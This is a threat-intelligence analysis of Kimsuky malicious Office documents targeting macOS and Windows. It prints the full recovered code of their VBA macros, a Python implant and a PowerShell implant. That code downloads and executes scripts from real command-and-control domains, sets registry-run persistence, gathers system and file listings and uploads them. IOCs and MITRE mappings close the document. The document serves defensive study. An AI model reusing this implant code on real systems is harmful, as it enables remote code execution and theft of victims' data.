CyberThreatIntel/North Korea/APT/Kimsuky/2020-03-20/Analysis.md
2020-03-21 17:13:33 +01:00

18 KiB

apt-get install kimsuky

Table of Contents

Malware analysis

Python implant

The initial vector is a maldoc which used a template injection for download and execute the next stage.
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web" TargetMode="External"/>
</Relationships>
This executes a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac.
Note : Mac OS X 10.8 comes with Python 2.7 pre-installed by Apple and now Python 3 on the lastest releases.
#If Mac Then
 #If Win64 Then
  Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
 #Else
  Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
 #End If
#End If
The last block of code is the function for auto-executing the malicious code. This request and execute python code in memory (fileless).
Sub AutoOpen()
On Error GoTo eHandler
 Application.ActiveWindow.View.Type = wdPrintView
 ActiveDocument.Unprotect "1qaz2wsx#EDC"
 Dim s As Shape
 For Each s In ActiveDocument.Shapes
  s.Fill.Solid
  s.Delete
 Next
 Selection.WholeStory
 Selection.Font.Hidden = False
 Selection.Collapse
 ActiveDocument.Save
#If Mac Then
 cmd = "import urllib2;"
 cmd = cmd + "exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1')).read())"
 Result = popen("python -c """ + cmd + """", "r")
#End If
eHandler: 'if an error is throw exit
 Exit Sub
End Sub
Firstly,this declares the imports, interesting to note that use posixpath package for getting a universal path (with "/") for easily manage theirs paths.
import os;
import posixpath;
import urllib2;
Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence.
home_dir = posixpath.expandvars("$HOME");
normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm"
os.system("rm -f '" + normal_dotm + "'");
fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR);
data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read()
os.write(fd, data);
os.close(fd)
Finally, execute the last fileless python script for the recon actions.
exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())
The first two functions of the final python script are for executing a new shell and push the program on an infinite loop.
import os
import posixpath
import time
import urllib2
import threading
from httplib import *
   
def ExecNewCmd():
 exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read())

def SpyLoop():
 while True:
  CollectData()
  ExecNewCmd()
  time.sleep(300)
The Collectdata function queries for getting the system informations, files on the differents repertories, pack it on a password ZIP and send it to the C2.
def CollectData():
 #create work directory
 home_dir = posixpath.expandvars("$HOME")
 workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync"
 os.system("mkdir -p '" + workdir + "'")

 #get architecture info
 os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'")
 #get systeminfo
 os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'")
 #get process list
 #os.system("ps -ax >> '" + workdir + "/ps.txt'")
 #get using app list
 os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'")
 #get documents file list
 os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'")
 #get downloads file list
 os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'")
 #get desktop file list
 os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'")
 #get volumes info
 os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'")
 #get logged on user list
 #os.system("w -i >> '" + workdir + "/w_i.txt'")
 #zip gathered informations
 zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip"
 os.system("rm -f '" + zipname + "'")
 zippass = "doxujoijcs0qei09213@#$@"
 zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'"
 print(zipcmd)
 os.system(zipcmd)

 try:
  BODY = open(zipname, mode='rb').read()
  headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ;
  boundary = "----7e222d1d50232";
  postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--";
  conn = HTTPConnection("crphone.mireene.com")
  conn.connect()
  conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers)
  conn.close()

  #delete zipped file
  os.system("rm -f '" + zipname + "'")
 except:
  print "error"
This reuse the code of the structure of the php form for sending teh data of the C2.
<form enctype="multipart/form-data" action="upload.php?param=" method="post">
 <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />
 file send: <input name="file" type="file" />
 <input type="submit" value="send" />
</form>
The main code executes a new thread the SpyLoop function.
main_thread = threading.Thread(target=SpyLoop)
main_thread.start()

Powershell implant

The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs forms and execute in memory. The rest of the last three functions are useless.
Sub AutoOpen()
 delimage
 interface
 executeps
 shlet
 regpa
End Sub
Sub delimage()
  Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Function interface()
 TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value
 Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1)
 Open Trim(TmpEditPath) For Output As #2
    Print #2, JsEditContent.Text
 Close #2
End Function
Sub executeps()
d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s"
 With CreateObject("WScript.Shell")
  .Run d1,0, False
 End With
End Sub
We can see the command to download and execute the Powershell script.
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox1" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')
-------------------------------------------------------------------------------
VBA FORM Variable "TextBox2" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
C:\windows\temp\bobo.txt
Sub shlet()
 Selection.WholeStory
 With Selection.Font
  .NameFarEast = "ÙºæýØÇ Û│áÙöò"
  .NameAscii = ""
  .NameOther = ""
  .Name = ""
  .Hidden = False
 End With
End Sub
Sub regpa()
 With Selection.ParagraphFormat
  .LeftIndent = CentimetersToPoints(2)
  .SpaceBeforeAuto = True
  .SpaceAfterAuto = True
 End With
 With Selection.ParagraphFormat
  .RightIndent = CentimetersToPoints(2)
  .SpaceBeforeAuto = True
  .SpaceAfterAuto = True
 End With
 Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
 Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Sub
The first block of the Powershell script is the values used for the configuration (Persistence, URL to join, path of the files, for run payload...).
$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
$UP_URI = "post.php"
$upName = "flower01"
$LocalID = "flower01"
$LOG_FILENAME = "flower01.hwp"
$LOG_FILEPATH = "\flower01\"
$TIME_VALUE = 3600000
$EXE = "rundll32.exe"
$MyfuncName = "Run"
$RegValueName = "Alzipupdate"
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
The next block is for getting the same informations that the MacOS version and for decode the commands send by the C2 to execute to the victim.
function Get_info($logpath)
{
 Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
 dir $env:ProgramFiles >> $logpath
 dir "C:\Program Files (x86)" >> $logpath
 systeminfo >> $logpath
 tasklist >> $logpath
}
function decode($encstr)
{ 
 $key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6) 
 $len = $encstr.Length
 $j = 0
 $i = 0
 $comletter = ""
 while($i -lt $len)
 {
  $j = $j % 160  
  $asciidec = $encstr[$i] -bxor $key[$j]
  $dec = [char]$asciidec
  $comletter += $dec
  $j++
  $i++
 }

 return $comletter
}
The next function is for download the next commands as job by the C2.
function Download
{
 $downname = $LocalID + ".down"
 $delphppath = $SERVER_ADDR + "del.php"
 $downpsurl = $SERVER_ADDR + $downname
 $codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
 $comletter = decode $codestring
 $decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
 $RunningJob = Get-Job -State Running
 if($RunningJob.count -lt 3)
 {
  $JobName = $RunningJob.count + 1
  Start-Job -ScriptBlock $decode -Name $JobName
 }
 else
 {
  $JobName = $RunningJob.count
  Stop-Job -Name $RunningJob.Name
  Remove-Job -Name $RunningJob.Name
  Start-Job -ScriptBlock $decode -Name $JobName
 }
 $down_Server_path = $delphppath + "?filename=$LocalID"
 $response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()
 $response.Close()
}
The last function is for upload the stolen to C2.
function UpLoadFunc($logpath)
{
 $Url = $SERVER_ADDR + $UP_URI
 $bReturn = $True
 $testpath = Test-Path $logpath
 if($testpath -eq $False){return $bReturn}
 $hexdata = [IO.File]::ReadAllText($logpath)
 $encletter = decode $hexdata
 $nEncLen = $encletter.Length
 $LF = "`r`n"
 $templen = 0x100000
 $sum = 0
 do
 {
  $szOptional = ""
  $pUploadData = ""
  Start-Sleep -Milliseconds 100
  $readlen = $templen;
  if (($nEncLen - $sum) -lt $templen){$readlen = $nEncLen - $sum}
  if ($readlen -ne 0)
  {
   $pUploadData = $encletter + $sum
   $sum += $readlen
  }
  else
  {
   $pUploadData += "ending"
   $sum += 9
   $readlen = 6
  }
  Start-Sleep -Milliseconds 1
  $boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
  $ContentType = 'multipart/form-data; boundary=' + $boundary
  $bodyLines = (
  "--$boundary",
  "Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
  "10000000",
  "--$boundary",
  "Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
  "Content-Type: application/octet-stream$LF",
  $pUploadData,
  "--$boundary"
  ) -join $LF

  Start-Sleep -Milliseconds 1
  $psVersion = $PSVersionTable.PSVersion  
  $r = [System.Net.WebRequest]::Create($Url)
  $r.Method = "POST"
  $r.UseDefaultCredentials = $true
  $r.ContentType = $ContentType
  $enc = [system.Text.Encoding]::UTF8
  $data1 = $enc.GetBytes($bodyLines)
  $r.ContentLength = $data1.Length
  $newStream = $r.GetRequestStream()
  $newStream.Write($data1, 0, $data1.Length)
  $newStream.Close();
  
  if($php_post -like "ok"){echo "UpLoad Success!!!"}
  else
  {
   echo "UpLoad Fail!!!"
   $bReturn = $False
  }
 } while ($sum -le $nEncLen);
 return $bReturn
}
The main function pushes the persistence, send the data stolen and wait for the new order.
function main
{
 Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
 $FilePath = $env:APPDATA + $LOG_FILEPATH
 New-Item -Path $FilePath -Type directory -Force
 $szLogPath = $FilePath + $LOG_FILENAME
 $key = Get-Item -Path $RegKey
 $exists = $key.GetValueNames() -contains $RegValueName
 if($exists -eq $False)
 {
  $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue
  Get_info $szLogPath
 }
 
 while ($true)
 {
  FileUploading $szLogPath
  Start-Sleep -Milliseconds 10000
  Download
  Start-Sleep -Milliseconds 10000
  Start-Sleep -Milliseconds $TIME_VALUE
 }
}
main

Threat Intelligence

#### Similarities between the different versions of kimsuky
Some similarities can be observed :
  • On the URL path used for download script path like {?filename}=FilenameRquested".
  • The structure used for upload the data are edited and pushed in the header.
  • Multiples domains using the same base of the domain mireene.com with recent samples of Kimsuky spotted :
  • Hash (SHA1) Filename Domain
    757a71f0fbd6b3d993be2a213338d1f2 코로나바이러스 대응.doc vnext.mireene.com
    5f2d3ed67a577526fcbd9a154f522cce 비건 미국무부 부장관 서신 20200302.doc nhpurumy.mireene.com
    a4388c4d0588cd3d8a607594347663e0 COVID-19 and North Korea.docx crphone.mireene.com
The domains have the same output IP too and are located in South Korea :
IP Route ASN Organization City Region Coordinates Country
101.79.5.222 101.79.5.0/24 AS38661 purplestones Kwangmyŏng Gyeonggi-do 37.4772,126.8664 South Korea

Cyber kill chain

This process graph represent the cyber kill chain of the maldoc vector.

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)
Indicator Description
Special Benefits.docx 6c9c6966ce269bbcab164aca3c3f0231af1f7b26a18e5abc927b2ccdd9499368
Criteria of Army Officers.doc 1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1
7All Selected list.xls 2aa160726037e80384672e89968ab4d2bd3b7f5ca3dfa1b9c1ecc4d1647a63f0
ulhtagnias.exe d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67
198.46.177.73 IP C2
The IOC can be exported in JSON

References MITRE ATT&CK Matrix

Enterprise tactics Technics used Ref URL
Execution Scripting
PowerShell
https://attack.mitre.org/techniques/T1064/
https://attack.mitre.org/techniques/T1086/
Persistence Registry Run Keys / Startup Folder https://attack.mitre.org/techniques/T1060/
Defense Evasion Scripting https://attack.mitre.org/techniques/T1064/
Discovery Query Registry
Process Discovery
System Information Discovery
https://attack.mitre.org/techniques/T1012/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1082/
This can be exported as JSON format Export in JSON

Yara Rules

A list of YARA Rule is available here

Links

Original tweets:
Links Anyrun: